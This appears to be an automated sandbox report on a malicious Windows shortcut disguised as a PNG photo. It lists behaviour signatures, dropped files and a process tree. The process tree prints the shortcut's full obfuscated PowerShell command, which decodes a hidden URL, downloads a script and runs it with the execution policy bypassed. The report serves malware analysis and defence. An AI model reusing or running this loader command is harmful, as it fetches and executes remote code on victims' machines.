Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    05/06/2026, 09:45

General

  • Target
    PHOTO-128914903.png.lnk
  • Size 2KB
  • Sample260605-lrfn6set3l
  • SHA256 67f6d6c021f6abab54fe3591fa1675d8524fae0dfa94e377e671fd4b295ac311
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-128914903.png.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$fzvj1GJT=\"238401635463621579045842867307215558345\" -as [System.Numerics.BigInteger];$QCcFS=\"90263130781396643456752521096961732185\" -as [System.Numerics.BigInteger];$EFwrBjNP=$fzvj1GJT - $QCcFS;for($tCI1Xa=100+156;$EFwrBjNP -ne 0;$EFwrBjNP=$EFwrBjNP / $tCI1Xa){$cPZGw+=[char]([int]($EFwrBjNP % $tCI1Xa));};iwr $cPZGw -OutFile $env:TEMP\gwUwr8V.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\gwUwr8V.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5296
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\gwUwr8V.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2700

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 1KB
        • SHA256 5226da3506c85d2ed701bea411ebd415b99b848935a0ecd50ad7fb0fd913ba05
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ea67d1c6e389367f9ecc0656bbdd3db1b39dbd65ea36be300ff4050feaffead1
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_wrddpz0j.bb1.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wrddpz0j.bb1.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/5296-2-0x00000213CB130000-0x00000213CB140000-memory.dmp

        memory/5296-3-0x00000213CB130000-0x00000213CB140000-memory.dmp

        memory/5296-4-0x00000213CD1E0000-0x00000213CD202000-memory.dmp

        memory/5296-11-0x00000213CB130000-0x00000213CB140000-memory.dmp